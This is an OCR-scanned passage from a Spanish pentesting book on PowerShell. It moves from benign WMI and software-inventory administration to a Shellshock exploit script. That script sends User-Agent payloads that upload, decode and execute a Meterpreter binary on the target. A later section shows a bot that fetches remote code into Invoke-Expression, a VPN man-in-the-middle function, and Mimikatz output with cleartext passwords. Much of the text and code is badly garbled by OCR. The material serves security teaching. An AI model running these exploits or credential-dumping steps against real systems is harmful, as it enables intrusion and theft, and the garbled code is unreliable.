{D5F3BAEC-ABDA—4ER5—B?4F-A132D61DDA4D>
BOCA Pree

Informaticabd

3.2.2

FOCA Free

£9512P00A-AAB9-BA489 -1 0AR-APBABAAFF1CE>
Microsoft Application Error Reporting
Microsoft Corporation

12.68.60815 .50808

Microsoft Application Error Reporting

£9A1 40006 —BA11—PERB—1ARB—AABBAAAFF1 CE>
Microsoft Office Professional Plus 2618
Microsoft Corporation

14.0.4763.10080

Microsoft Office Professional Plus 28108

{901 4A00A-ABA1 -BCHN—100R-ARRABABFF1 CE>
Microsoft Office OneNote MUI (Spanish> 2818
Microsoft Corporation

14_0.4763 .1806

Microsoft Office OneNote MUI <(Spanish) 2018

Identif yingNumber
Name

ITdentif yingNumber
Name

Jendox

Uersion

Caption

Identif yingNumber

Fig. 2.18: Obtencion de aplicaciones instaladas con Windows Installer.

se puede ‘

(Como visualizar qué aplicaciones pueden ser desinstaladas? No se puede garantizar de que $
puedan encontrar todas las aplicaciones del sistema, se puede buscar todos los programas qué
aparecen en agregar o quitar programas. Esta caracteristica de Windows busca estas aplicaciones ¢f
las listas que se encuentran en la clave del registro HKEY LOCAL_MACHINE '\Sqfh-vare‘uMicrosﬂﬁl
Windows|CurrentVersion\Uninstall. Se puede visualizar los identificadores a través de las claves
de registro con la instruccién Is HKLM:\SOFTWARE\Microsofi| Windows\CurrentVersion\Uninstall

para listar el nombre de las aplicaciones que pueden ser desinstaladas se puede ¢jecutar la siguiente
mstruccion Is HKLM:\SOFTWARE \Microsoft\Windows' C urrentVersion\Uninstall | ForEach-Object
_process { $_.GetValue("DisplayName")}. Con el cmdlet ForEach-Object se puede ir evaluando
cada objeto, los cuales representan las claves del registro dénde se encuentran los wninstall de las
aplicaciones instaladas, y mostrando el nombre de la aplicacion.
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ps. C:NUsersi\pahlo> 1s HELM:\SOFTUARE\Microsof t\Windous\CurrentUersion\Uninstall i
ipisplayName') >

Kyocera Product Library

Microsoft Office Professional Plus 20818

opacle UM UirtualBox Guest Additions 4.3.28

inBAR 4.28 (64-bit)

Microsoft -NET Framework 4.5

Microsoft Uisual C++ 2818 x64 Redistributable — 168.8.4621%9 :
iJindows Software Development Kit for Windows Store Apps DirectX %64 Remote
Microsoft Uisual C++ 2012 x64 Debug Runtime — 11.8.58727

Cpystal Reports Basic Runtime for Uisual Studio 2888 (x64>

Hicrosoft SOL Server 2012 Data—Tier App Frameuwork

ilindows Software Development Kit Directd x64 Remote

Microsoft SGL Server 2812 Express LocalDB

Microsoft SOL Server 2012 Transact—SqQL ScriptDom

Microsoft Uisual Studie Team Foundation Server 2812 Object Model
Microsoft SQL Server 2012 Transact—SQL Compiler Service

Microsoft Silverlight

Microsoft Office Professional Plus 20108

Hicprosoft Office Access MUI (Spanish> 2618

Microsoft Office Excel MUI (Spanish> 2818

Microsoft Office PowerPoint MUI (Spanish> 2010

Microsoft Office Publisher HUI (Spanish> 28108

Microsoft Office Outlook MUI (Spanish) 2010

Fig. 2.19: Nombres de las aplicaciones con los desinstaladores de Windows Install.

La clase Win32 Product permite instalar aplicaciones a través de Windows Installer. Si s¢ requiere
una instalacion remota se debe especificar la ruta de acceso al paquete ./nsi para la instalacién a
iravés de una ruta de red UNC. En otras palabras, para instalar un paquete MS/ remoto se debe
especificar la ruta de red \\ServidorAplicaciones\ruta. La instruccion para realizar una instalacion es
(Get-WMIObject -ComputerName PC1 -List | Where-Object -FilterScript [§_.Name -eq "Win32_
Product ™). invoke Method( " Install ", "\\ServidorAplicaciones\ruta\paguete.msi ")

Para eliminar las aplicaciones la instruccién es similar a la de instalacion, simplemente hay que
cjecutar (Ger-WmiOhject -Class Win32_Product -Filter “Name="ILMerge"" -ComputerName . ).In
vokeMethod( " Uninstall ', Snuldl).

13. WMI

\“u’M[. Windows Management Instrumentation. es una implementacion de WBEM, Weh-Based
Enterprise Management. Con esta tecnologia se pretende el establecimiento de normas estandar
riilfa el acceso y recuperacion de la informacion con cardcter administrativo de los componentes
fisicos y logicos. Los recursos administrados son cualquier componente, ya sea fisico o logico.
que WMI soporte para su administracion. Por ejemplo, un recurso administrado son los servicios,
Procesos, el subsistema de disco, la BIOS, entre oiros recursos.
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El consumidor WMI es la aplicacién que utiliza la tecnologia WMI para acceder a la informacion
de un recurso. Normalmente, WMI es utilizado en seripts, como por ejemplo javascript o vbs,
pero podria ser utilizado por alguna otra aplicacion. Por supuesto, tambien puede ser utilizado en
scripts de PowerShell. Tanto el consumidor WMI, como los recursos administrados, interactiian
directamente con el nicleo de WML

;Qué se puede hacer con WMI? WMI permite recoger gran cantidad de informacion sobre el sistema,
actuar sobre partes fisicas o logicas del sistema, evaluar la eficiencia mediante la toma de tiempos de
ciertos recursos, avisar de la aparicion de eventos en el sistema, en conclusion para la administracion
casi total del sistema.

Clases e instancias

Las clases son moldes con ciertas propiedades y métodos o funcionalidades. Estos moldes
representan a los distintos recursos administrados de WML Uno de los ejemplos mas claros de clase
es win32 service, la cual define que es un servicio en Windows en el sentido mas genérico y utiliza
distintas propiedades, nombre, estado, descripcion, o distintos métodos, arrancar, parar, etcétera.

Las clases se almacenan en una base de datos del nicleo de WMI. Las instancias de una clase
son lo que se conoce como objeto en la programacion orientada a objetos. Por lo que un recurso
administrado es una instancia de una clase. con sus métodos y propiedades. Por ejemplo, los servicios
son instancias de la clase win32_serviee.

En PowerShell se dispone del emdlet Get-WmiObject el cual permite obtener informacion sobre
todas las instancias de una clase concreta. Su ejecucion es sencilla ger-wmiobject win32_bios. Sila
clase que se proporciona al emdlet dispusiera de varias instancias se obtendra informacion de todas
ellas. Por ejemplo, get-wimiobject win32_process, cuya ejecucion devuelve todas las instancias, con
las propiedades de ¢stas.

Para realizar busquedas de clases respecto a un patrén se puede utilizar el bucle foreach. Una posible
blisqueda seria la siguiente: get-wmiobject | foreach {$_.name | Select-String -Pattern win32%}. Con
esta busqueda se obtienen las distintas clases que comienzan por wini2.

Hay que tener en cuenta que no todas las clases son almacenadas en el mismo espacio de nombres. El
niicleo de WMI distribuye las peticiones en funcian del espacio de nombres en el que se encuentren
las clases. Esta tarea es practicamente transparente al usuario.

En algunas ocasiones el usuario quiere buscar ciertas propiedades pero no sabe en qué clase, 0
incluso espacio de nombres, ésta se encuentra. Para estas circunstancias se debera realizar una
busqueda por todo el arbol de clases de WMI.

La idea es sencilla listar todos objetos WMI con el emdlet ger-wmiobject, iterando sobre cada uno
de ellos obteniendo sus propiedades para ir filtrando sélo los que tengan el patron requerido. Enel
presente ejemplo se requiere listar propiedades que contengan la palabra disk e ir obteniendo sU

| e
| 77

dicha propiedad. El cédigo quedaria de 1a

Capitulo 1. Seripting en PowerShell

clase dénde se encuentran para obtener los valores de
sjguiente manera ger-wmiobject —list | foreach {$_properties}) | where [§_.name mateh ‘disk’}
celect-object origin, name.

Ejemplo 1: Capacidad de disco

En primer lugar no se tiene porque saber cual es la propiedad ni la clase en la que se encuentra
osta informacion. Por lo que, primero, se realizard una blsqueda por palabras. como se meneiond
anteriormente.

Se ejecuta la siguiente bisqueda Ger- WmiObject -List | foreach {$_ properties] | Where-Object {5 .
(:r-io}fz _match ‘disk’} | Select-Object origin, name. Se obtienen bastantes propiedades con diversidad
-lases. Se encuentra la clase win32_{fogicaldisk. Hay que recalcar que se ha filtrado origenes. es
ases. que contengan la palabra disk, obteniéndose las propiedades de dichas clases.

de cl
decircl
Wind2 logicaldisk dispone de propiedades con nombre size y devicelD para su identificacion.
Se ejecutard la siguiente instruccion para mostrar la unidad del dispositivo, la capacidad de este
y su espacio libre, Get-WmiObjeet win32_logicaldisk | foreach {Write-Host §_.devicelD § .size

S i vespace].

En la siniente imagen se puede visualizar la salida de dicha ejecucion.

3/05/2812 1A:58:57 > Get-VUniObject win32_logicaldick | foreach {Urite-Host $_.devicelD &_.size $_-frees]

cialzersibit &
7837642752 63926918976
913507328 215606818048
47483648 625859848
\lzens\hit @32085/2012 11:85:57 > 1

Fig. 2.20: Obtencion de la capacidad y espacio libre de las imidadles de la maquina.

Ejemplo 2: Estado de los servicios

En este ejemplo se buscara todos los servicios y su estado en la maquina. Para realizar la blsqueda

se utiliza el mismo mecanismo utilizado en los ejemplos anteriores. Se obtienen distintos origenes.
37

pero el que mas llama la atencion es win32 buseservice o win32_service.

También se puede observar la propiedad state que proporciona informacion sobre el estado del
servicio en la maquina. Una vez se dispone de la clase y la propiedad concreta que reportara la
informacion buscada.

it @3,05,20812 11:51:21 > Get-UniObject win32_ baseservice | Foreach {ihite-Host %_.displayname 5_-statel
host compatible con OHCI 1394 Running
ft ACPI Ranning
wor de medidor de energia ACPI Stopped

n Driver for Winsock Running
=1 AGP Stopped

¢ filtro de bus AMD AGP Stopped

Fig, 2.21: Qbtencidn del estado de los servicios.
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Monitorizacion de recursos

WMI crea la posibilidad de utilizar los eventos para la toma de decisiones. En ofras palabras, con
PowerShell y WMI se pueden gestionar los recursos monitorizandolos en funcién de distintos
eventos. Cuando un evento se genere, se podra realizar algln tipo de accidn al respecto. Un ejemplo
sencillo seria la posibilidad de avisar al administrar que la cuota de disco ha alcanzado un porcentaje
concreto.

.Qué es un evento? Un evento es una accion generada por un recurso el cual puede disparar una
notificacién que sera atendida por un administrador. En esto se basa el potencial de la monitorizacion
de recursos. Con estos aplicativos, el administrador puede estar mas relajado en su trabajo, ya que
dispone de herramientas que le ayudardn ante una situacién que pudiera ser critica si el administrador
no se diera cuenta.

En PowerShell, versién 2, se dispone de emdlet Register-WmiEvent. Este cmdlet permite suscribitse
a los eventos WMI. A continuacion se especifica algunos de los parameiros mds interesantes del
emdlet:

Parametro Descripcidn
it Especifica un blgque de seripring, es decir, la accion que debe
realizarse cuando se genere el evento
ComputerName Especifica el nombre de un equipo remoto
Credential Especifica una cuenta de usuario con la que se realizard la accién
Namespace [ndica el espacio de nombres de una clase WMI
Class Indica la clase de WMI que debe generar el evento
o Especifica una cons.u]ta de WML, con lenguaje WQL, que
= identifica la clase de eventos
Sourceldentifier [ndica un nombre que es ¢l seleccionado para la suscripcion

Tabla 2.09: Pardmetros de Register-WmiEvent.

En un ejemplo sencillo se puede observar varias piezas clave en el registro de eventos. Estas piezas
son la guery, la accion y el registro o suscripeion a los eventos.

La guery se construye con un SELECT y un FROM, donde se indica que se quiere seleccionar
los eventos de tipo _ InstanceCreationEvent. es decir. los eventos de creacion de objetos. En
otras ocasiones pueden interesar ofro tipo de eventos como de modificacion o eliminacion,
InstanceModificationEvent, _InstanceDeletionEvent. Existen otro tipo de eventos, pero los -
comentados anteriormente son los interesantes. !
Por otro lado se muestra un objetivo o hacia quien va dirigido con Targetlnstance. En este objeto
o instancia se puede también realizar busquedas en funcién de las propiedades, muy interesantes
en muchos casos. También hay que definir el significado de las palabras /S4 y WITHIN. [5A indic&

F
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a que clase debe pertenecer la instancia que se quiere monitorizar. WITHIN indica el intervalo, en
segundos. €n el que se ejecutara el administrador de eventos.

La sintaxis de una guery se escribe de la siguiente manera:

soonsulta = ZSELECT * FROM Instance[Creation|Modification|Deletion]Event
WITHIN 5
WHERE TargetTnstance ISA ‘<instantla de clase>’
[AND TargetInstance.propiedad = “<valor>'l"

Hay que recordar que los corchetes aportan un significado de opcionalidad. Las consultas o guery
siempre dispondrén de un formato similar al del ejemplo anterior.

por otro lado, se especifica la accion que se debe llevar a cabo una vez ocurra el evento. Para
ello se dispondra de una variable con un SeriptBlock dénde se especificara que accion realizar.
En los ejemplos se utilizard la salida por pantalla, pero podria enviarse correos electronicos al
administrador, apagar equipos remofos, acciones administrativas automatizadas, o cualquier tipo de
larea que se requiera.

Por Gltimo se registra el evento, por lo que habria que esperar a que ocurriese dicho evento para
obtener los resultados, especificados en la accion.

“Ageidn a reall

arite-host
miBEvent -Query Sconsulita

Una vez se ha estudiado como registrar eventos, se va a estudiar como eliminar estos eventos
del administrador de eventos. Puede ocurrir que €] administrador quiera eliminar su regla creada
anteriormente. Para ella se dispone del cmdlet Ger-EventSubscriber. Este emdiet recupera todos los
eventos registrados, identificados con un nimero. Este nimero puede ser utilizado para eliminar el
evento.

En primer lugar, se ejecutara Ger-EventSubscriber para obtener el identificador del evento que
interesa. Después se utilizara el emdler Unregister-Event para desregistrar dicho evento.
seria, Gel-EventSubscriber —Subscriptionld <mtimero= | Unregister-Lvent.

E! gjemplo

14.Un exploit con PowerShell

El 24 de Septiembre de 2014 se publicé el descubrimiento de una vulnerabilidad en Bash, Bourie-
Again Shell, con la que un usuario podria ejecutar codigo. Esta ejecucion puede ser remota ya que
mtlchos pracesos invocan a bash en su ejecucion, por ejemplo un servidor web que necesita generar
un sitio weh dindmicamente. A esta vulnerabilidad la apodaron Shellshock y para muchos fue una
de las vulnerabilidades mas criticas del afio 2014, ya que permitia realizar una ejecucién de codigo
arbitrario en remoto. El expediente de la vulnerabilidad inicial es CVE-2014-627] descubierta

o '_S"eﬂi?t’n Chazelas, aunque durante los dias posteriores fueron saliendo publicadas diversas
modificaciones.
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(Como funciona? Al final, en el caso de un servidor de Internet se puede necesitar gjecutar un
script de bash para generar un sitio web. Este script puede necesitar informacién externa, como por
ejemplo el User Agent. Para pasarle al script esta informacién se hace a través de las variables de
entorne.

La vulnerabilidad radica en que bash sigue leyendo y ejecutando lo que encuentra después de la
definicién de una funcién en una variable de entorno. En la siguiente linea se define una funcion
x vacia y después se concatenan diversos comandos, los cuales seran ejecutados por el imntérprete.
Como ejemplo se presenta la siguiente instruccion envx = ‘() { . }: echo vulnerable 'bash —¢ “echo
explotado ™. Bash seguird leyendo después del cuerpo de la funcién, y ejecutaré el codigo que ests
Justo después, imprimiendo por pantalla el texto vulnerable y explotado.

PoC: Explotando Shellshock desde PowerShell

En esta prueba de concepto se muestra un escenario en el que un servidor web es vulnerable g
Shellshock por tener bash desactualizado. El header User Agent enviado desde el cliente al servidor
web es utilizado como variable de entorno para pasarselo a un serips de bash. por lo que se podria
ejecutar comandos sobre la maquina remota.

El escenario que se presenta es el siguiente:
- Maquina Kali Linux que es vulnerable a Shellshock.
- Maquina Windows 8 con PowerShell version 3.

- El pentester ha evaluado el entorno y ha encontrado la vulnerabilidad.

Elscript es parametrizado, por lo que puede recibir la direccién URL del servidor que sera explotado,
un parametro de tipo switch, es decir un flug de verdadero o falso, y un tercer pardmelro que ser la
shellcode en base64 que se quiere subir al servidor remoto con el fin de ejecutar dicho codigo.

La cjecucién de este scripr se llevarfa a cabo de la siguiente manera shellshock.ps1 —url <direccion
URL> [-exploit] ~base64 <shellcode en base64>. Hay que notar que el flag exploit es opcional y no
obligatorio, por ello se encuentra enire corchetes,

param {
[Parameter (Mandatory) ]
[stringl $url,
[switeh] Sexploit
[Parameter (Mar
[string] Shases4

La primera funcion a realizar es la denominada reguest con la que se podré realizar las peticiones
maliciosas contra el servidor. La funcién request estd parametrizada por la direccion URL que
se recibe por el invocador y por el User Agent, que sera el campo que correctamente modificado
permitird la explotacién de la vulnerabilidad. La funcién devuelve, a través de la variable $response,
la respuesta obtenida.

Capitulo II. Scripting en PowerShell m

La segunda funcién se denomina check y permite verificar si la maquina remota es vulnerable a
Shellshock. La funcién check recibe un parametro de forma obligatoria, ya que se indica con la
clausula Mandatory. La funcion check invoca a la funcion reguest para realizar una peticién y poder
comprobar si la instruccién “echo hola” es ejecutada en remoto. De ser ejecutada, el pentester
podria verla reflejada en la respuesta del servidor. La funcion check devuelve un valor booleano, el
cual se obtiene tras ejecutar la instruccion return (Sresponse. RawContent. Contains(“hola”)) . En
esta condicion se comprueba si la respuesta contiene la palabra “hola” o no.

sunction reguest{
param(
[Parameter (Mandatory) ]
[strirg] Suxl,
[Parameter (Mandatory) ]
[string] SuserBgent
= Invoke-WebRegquest $url —-UserlAgent Suserhgent
esponss

[Parameter (Mandaktory) ]
Istring] $url

—url §url -userBgernt “() { :: }s /oinfecho hela”

awContent .Contains (“hela™))

Por altimo, existe un main en el que lo primero que se hace es comprobar, mediante el uso de la
funcion check, si la maquina remota es vulnerable a Shellshock. En caso de que la maquina remota
no sea vulnerable se finaliza la ejecucion del seripr.

St la mdquina remota es vulnerable se pasa a comprobar si el flag exploir ha sido activado en
la ¢jecucion del seripr. Si no ha sido activado en la ejecucién del seripr, éste finalizard sin mis
acciones que realizar. 8i por el contrario este flag ha sido activado se ejecutardn 4 peticiones contra
la direccion URL proporcionada:

- La primera peticion Sresponse = request -url Surl -userAgent “() { :: }: echo; /binfecho
Shase64 > /tmp/pay " sube la shellcode en base64 al servidor remoto y crea un fichero en /
tmp/pay con dicho contenido.

- La segunda peticién Sresponse = request -url Surl -userdgent () | :; }; echo; /bin/
cat ftmp/pay | fusr/bin/base64 -d > /mmp/pay? " transforma el contenido del fichero subido
anteriormente, el cual era base64, a su formato original, en este caso un binario elf.

- Latercera peticion $response = request -url $url -userd gent () { 27 1 echo, /bin/chmod
744 /tmp/pay2 " cambia los permisos del binario para poder ejecutarlo en la siguiente peticion.

_ La cuarta peticion Sresponse = request -url Surl -userdAgent “() { :; }: echo; fmp/pay2”
€jecuta el binario.
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R

$main

if (eheck -url SuEl)

{
echo “target viulnerable”
if (Sexploit)

it
"

scho “explolt...
acho "“upload shellcode. .. Shasetd”
$response = reguest —yrl Surl -userfgent Wy f s Yi oechoy /pin/feche

sbase6d > /tmp/pay”
echo “shellcade in hasebd to Binary...
Sresponse = request —url $url -userhAgent ® |
pay | Jusr/pin/base6d —d > /tmp/pay2”
erho “chmeod to binary...”
Sresponse = reguest —url surl -userBgent Wy § 47 93

"

{ w7 1; echo; /bin/cat /ftmp/

eche; /bin/chmod 744

fenp/pay2”
echo e
Srosponse

w |

executing. .. and take control
= /Tmp/payd”

request —url turl -userhgent w(y 4 i 1i echog

echo “no vulnerable”
1
;Qué es lo que se esta ejecutando? Realmente puede ser cualquier cosa que haya sido originalmente

un binario y se haya pasado a base64. Para este gjemplo s€ ha creado un Meferpreter para Linusy

se habia pasado a base64.

Para crear shellcodes y codificarias en base64 se puede utilizar un médulo de Metasploit que st

encuentra en lasiguiente direccién URL M.'p_s-.'//girhzrb.Com/pabl’ogonzale:pe/memsploia‘-ﬁ‘mneu-'orb’

hlob/master/modules/exploits/y el fichero se denomina generale _J,Ja_rz'oadjm.s-eﬁ#.rb.

A continuacién se presenta el seripl para la explotacion de Shellshock completo.

soript que permite cheguaar y sxplotar 1a wvulnsrabilidad shells-

param (
[Pa:ampt:v(Manqatory)i

[string]l $url,
[ rameter (Mandatery) ]
[stringl SuserAgent

)

Sresponse = Invoke-WepReguest surl -UserBgent Suserdgent

rf
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=otOgrn $response

..... X
pazam
[Parameter (Mandatory) ]

[string] $url

= request —url Surl -userZgent “() { = };

e . RawConternt = t :4 i echoy /hinfecho holz”

Sresponsa.RawContent .Contains (“hola”))

L)
echo “target vulnerable”
if (Sexploit)
{
{ +; }; eche; /kinteche

cho; felofchmod 744

and take

[0 bodi i efc # I Gl

st =url Surl -oserfgent Y {) |

w

no wulnatshle®

A continuacion se puede visualiza o
1on se puede visualizar i c

= ' P ar una imagen en 5e e 1

diferentes parametros. = la que se ejecuta el scripr de Shellshock con los

' C:\Users\pgonzal

{i=hin/vuln.cgi — ez\])e_:sktup> -\shellshock.psi —uprl
‘M"”—"nnﬂnaﬁﬁnﬁqglnﬂgxplnlt top> PGU“RQEBHQRHRQQEIHH http:=/,192 168 .56.182/
LHhhiUNBL}IHC"D‘:Eﬂ‘P‘I|?|Jg?Zlg‘ilaflfl?slf:l?ll-'n’lEFIFII]FII?II?II?"?H:H-'!IFIE(:FHZ";I?IBFI:i2Fll';lg22!%EIIF:I'Il?lIJIRcI.:}ggggglligIlleltflnégin)g

\qLhjghizub 2 G
a Uulnergg-ilexm;canacc.f. liDNpi'.'JLpNnPnbLlpBEiﬁﬁg¥2/q281/El 7ZydNb1gENTX /nJd
‘_.J‘:-:l.ar;llcode l
A AAAARRAREAAAAAAAARAT ARCACABAZAAANCARS
‘a".-i'F[:DFFFgNFELﬁIﬂggH?‘an?ﬂIF!EGHCHBH i2nnnnGREHREEEEQHA%ESHEMHnnannﬂﬁlnnnnn
NICEAGS GO oot Be e /O peX LTS/ q201 /I 7ydNbL AR2EDZACTOXUNGL
i L ;):!(:});2 hase64 to hingrgpnhlﬂpa_‘;xn“hl: g /nJHeaQL]iJCﬂJi/
L ary. .. e

it II;{{___ dnd
take control?
}"ng_ e e I

Eioeqi i
srecucion del seript que explota la vulnerabilidad de Shellshock.
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| lanzamiento del script se debe configurar el médulo exploit/multi/handler de
ecibir la conexion del Mererpreter inverso. Cuando las 4 peticiones del seript visto
do. se obtendré el control remoto de la maquina interactuando con

Previamente a
Metasploit parar
anterjormente se hayan gjecuta
una consola de Mererpreter.

Fig 2.23: Configuracion del modilo exploithmlti/handler de Metasploit para recibir conexian.

15. Un bot en PowerShell para pentesting

|

acante no disponen de las herramientas necesarias en un
Microsoft Windows. Teniendo acceso fisico a un equipo. ya sea con privilegio

o sin él. se tiene al alcance de la mano und PowerShell. Desde Microsofi Vista viene de forma nativa
en el sistema operativo, y puede ser aprovechada para gjecutar gran cantidad de acciones, las cuales
muchas de ellas pueden permitir realizar ciertas acciones en la propia maquina o contra olras que st

encuentren en la red.

En algunas ocasiones un auditor o un at

maquina con sistema

a1 través de la PowerShell. Este codige

la posibilidad de ejecutar cadigo
bypasseando 1as politicas &

escargandola de ubicaciones remotas y
en este libro, existen diferentes formas para llevar a cabo un bypast
partado para crear un bot &

Las técnicas que se exponen en esic a
y Gtil en un penfest, son un resumen del trabajo expuesto end
urity Congress en la ponencia Give me d PowerShell and |

En este apartado se presenta
podra ser ejecutado en local, d
ejecucion. Como s menciona
de las politicas de gjecucion.

PowerShell, totalmente funcional
congreso de seguridad Qurtitba Sec
move your world.

es tener acceso fisico al equipe

ester antes de la creacion del bot
d de ejecutarlas. ;Qué se puede hacer sin un#
ckedoor en esta maquina sin privilegio? iS¢ P
s adecuadas? ;Se puede ejecutar cualquier ¢
a de las preguntas ante
scargar CU

El punto de partida para el pent
no disponer herramientas a mano 0 la posibilida
;Qué se hace sin Foca? (Se podra dejar una ba
manipular fokens de Windows sin las herramient

Shell proporciona la respuesta a cada un

en la linea de comandos? Power
gracias al potencial que ofrece esta linea de comandos. La idea conceptual es de
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H N0 ac (’)di( (8] dt‘:Sde una hI‘C 10 L Le a ¢ i i sea > ) e
; t= acion externa a la OI‘Qa]_lZaL]él]. Ci ('Uaf no se i £ I
1 C L[et[&d[) l or nl]lél’lil

amento de seo e e iy
g ‘n.km( e seguridad de la organizacién, y poder realizar acciones T
equipo de la red. s en el equipo fisico o algin

Hay circunstancias que es importante tener en cuenta, La utilizacion de este ti

de CO_mandos de Powe?‘S_f’?e’[_  ayuda a saltarse diferentes mecanismos (;*5[6-11]'30 de - _lﬁ o
permite al P_&’n!es"’rgr evadlr'smtemas de seguridad como puede ser.un am.f-’:_l.?@tfc‘-‘m”: e
Pfl’j‘dc evadir l?‘S famosas listas blancas de ejecucion de aplicaciones qu W‘I“'S- et iyl
diferentes equipos de una organizacion, se evita generar trafico sos leclzlle %C ljl_}e_dt’” EHCD’““'HT e
P:]r';l la obtencion d? clertas funcionalidades, se puede utilizar pligxielohot f‘“lfza”d‘J i
PowerShell y 1a ‘pO.SIbl.]I’dad de ejecutar cadigo a través del tcrmimi E\ ta* o -de’ ](')S e
contrarrestar la limitacion de la no disponibilidad en el equipo de };e-rrai]?;nctamdc“SUCE‘S VP

as.

Antes 'de segu-]rr {JCSC'I‘.lbIEHdO el bot es importante comentar que este tipo de bots i

lafnhlen. Podnalj utilizar 'cntornos como Twitter, Facebool o Pastebin co U??S p0d1-1ql1 ser remotos
¢ mtlust)lcmm) ]la;ez;tes d[?nde descargar las funciones y codigo a ejrecm.q:zi [',)::281;: lgst;u(fciones.
en cuenta que el hot puede ser t . : R P aren base 04. Se debe lener
sk e intelfmumndg C(oz'do-\]lo‘ cgm]ﬂ@lo qt'fe se quiera, incluso que podria acabar siend;ﬂiﬂ
i) Ble ne _leglsho de W{:rdon‘x y obteniendo persistencia de algin n i’_‘”
e b, a en una orden en el registro o, porque se genere algiin tipo (Iei‘r-rf‘f;oc(::';

En este apartado se :
: se pretende -
s 'mrlmm‘ml IF lu}_dt disponer de un esqueleto bdsico de un bor con el qu |
a aumentarlio en ; & : el que ce SUAr
s e uncion de sus necesidades. El esqueleto bésico del bor sera : ! S
al se encarga de iterar y ¢ X - até : - ) sera un bucle waile e
bk e :m'“ fers ¥ comprobar qué funciones se quiere descargar y, posterior cle while el
: ejecucion de PowerShell para despuds poder invocarl ST i RIS ITERtE, co g ol

" Gl 1P dénde o &
v devolved res

w} ( N

“lecals>”

L Al Y

“load”)
E mmand[1] )
s S Rl ”
7 Scomandor=%ceommand [ 2]
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m
E
ut
L5

Scomande = Scommand [ 1]
Sgomanas | Invoke-Expression
}

Sexecute
sexecute.length
if($execute.Length =gt
t5and-Twitterbm -Message Sexecuts

0) (send-results —flle Scommand(l] —ip Sip

~Username ‘fluprojeect’

_exscution Sexecute}
)

1

Scondition = Scommand —re Wit l”
}
2 A través de funciones que son descargadas a traves del cemdlet Tnvoke-
esde un servidor web, aunque como se ha
por ejemplo Twitter o Pastebin.

;Cémo se carga el codigo
WebReguest. Con este cmdlet se descarga el codigo d
comentado se puede descargar desde otras ubicaciones,

e se quiere gjecutar no se encuentra hardeodeado en el script, por lo que se entiende

bito del script dinamicamente, dotando de gran potencial a este
scargado en forma de fimcion de PowerShell se utiliza el emdle
o del seript con el fin de poder invocarla de

El codigo qu
que el codigo es cargado en el am
tipo de hots. Cuandoel codigo es de
[nvoke-Expression para cargar la funcion en el ambit

ahora en adelante,
if Scommand [11)1

wmand [1] 7 Suri+=".txt

7 guzte=

Trnvcke—WebReguest Suri | Invoke—-E

Srommandl_atf:S::mmand[11

;
;De donde se leen los comandos? Como se menciond anteriormente los comandos pueden ser leidos
en remoto de una cuenta de Twitter, por gjemplo. También puede ser leido del propio servidor web
dénde se cargan las funciones dindmicamente. En este ejemplo, y entendiendo que el usuario 8
encuentra en un entorno local, serd éste el que los introduzea desde el prompt. Se decidid utilizaruns

nomenclatura bésica, la cual consta de tres partes:

- Comando de carga denominado load.
El segundo comando indica el nombre de la funcion que acaba

WehRequiest concatenado con Invoke-Expréession.
1’ JI
onal e indica los parémctms que deben ser pasados

de ser cargada con Invoke:

- FEl tercer comando es opei a la funcidd
que se ha cargado en el ambito del seript previamente.

5 g i 5 % i AN
En resumen la sintaxis es la siguiente load | <nombre funcion= | <argumentos de la funcion®
Supéngase que existe una funeion como la que se muestra en la imagen. Desde el prompt del bol &
ejecuta la instruccion load | vpn_mitm | -ip <direccion IP vpn server=, y (ahora que ocurre:

se puede ver en el codigo, una vez se introduce la orden, se descarga y carga el codigo en el ama¥

F
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del seript en fo.rma,de funcion y se invoca su ejecucién. En este caso esta funcion o 5 .
de V.]?N Y l'ea’llzara la conexion a un servidor de VPN ubicado en 'Ia\direcci(’)c1)1n1’?’61]61-31ld o P{‘vﬁ e
funcion. (Que se consigue con este ejemplo? El trafico de la miquina dénde se enc q“ct s, S 2
comenzaré a salir por defecto por el servidor de VPN consiguiendo realizar Mtuen e e
ya que il & 10 pidser s id por ol N res un Man In The Middle,

Archiva Edicion  Formate Ver Ayuda

ﬁ.mcliun vpn_mitm{
param

(

[Parameter{Mandatory)]
[string] Sip

)

Add-VpnConnection -Name praof -
ServerAddress Sip -TunnelType Ppto -
AuthenticaionMethod MSChapy?2

rasdial.exe "proof" pablo metasploit

1
i J

Fig. 2.24: Codigo e ichero TXT d o
'z go en un fichere TXT de una funcion que se puede cargar con el bot

Otro ejemplo de codi ' e gf i
2 |] 1‘ C . r_ofhgo que se puede ejecutar es un pumikatz. Este codigo se puede obtene
del conjunto de scripts T i i 5 b . S
: _;I . Il:_ cripls que proporciona PowerSploit a través de su github hitps://github.com/
mattifes / erSnloi - _— : : J o S
" e ugulnl.bmlu.?p]aﬂ. Sobre PowerSploit se estudiaran muchas més cosas enﬁ siguient
capitulos de "0S 3 i i i ; "
ap! lsd i [|Ob'. Cbomo se puede visualizar en la imagen, una vez que la funcién es d s argad
y ¢jecutada en ¢l ambito del bor, 1a sali i nfi i e o I
) , la salida proporciona informacié o
e ANt _ mnacion sobre las contrasen S
usuarios que han iniciade sesion en el sis i el he
el sistema. Es importante rec i
' . e recordar ecutar Mimi
en el sistema se debe tener privilegios. ' VIEKI IR (A s
Authentication Id
Session

User Name
Donain

: B ; 64899 (BPPAPAGOH:

: Interactive from 1a fpgRand

! Administrator

3 Qshe!lﬂ

S $-1-5-21-3507275698-1183418431-608808615-500

[BPBARBA3 1 Prinary
Username : Adninistrator
?ﬁnaln : pshell8
A 87351?2¢c3a?7?d2cb5aacdB84cd4
% ga#? égégi$2627698dallﬂﬁc$ﬂdgf2333??;

i c?ab665da?483738c65d8dce?h3f1che2?4
* Username
% Domain
* Password

wdigest :

Administrator
pshells
123abc..

Administrator
pshell8
123abc..

Adninistrator
pshell8
123abc..

* Domain
* Password
ssp =

crednan =
Fig. 2.25: Ejecucion de la funcion de Mimikatz a través de PSBot
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A continuacion se puede ver un recopilatorio de proyectos, conjuntos de scripts y frameworks que

utilizan cédigo PowerShell para ejecutar acciones a bajo v alto nivel y pueden ser utilizados en

ataques en un pentesi.

En los proximos capitulos se estudiaran diversos frameworks, y aunque ahora se hace un pequefio
resumen de los utilizados en este bot, hay otros que aportan muchas funcionalidades interesantes
para el pentesting con PowerShell.

- PowerUp. Proporciona diferentes herramientas para llevar a cabo escaladas de

privilegios en Windows. Su Githu

Framework/PowerTools/tree/master/PowerUp.

- PowerSploit. Como se comenté anteriormente es el conjunto de scripts de PowerShell

por excelencia. Su Github estd en la direccion URL hitps :/github.com/mattifestation/

PowerSploit.

. Posh-SecMod. Un framework el cual permite interactuar con Shodan, Metasploit o

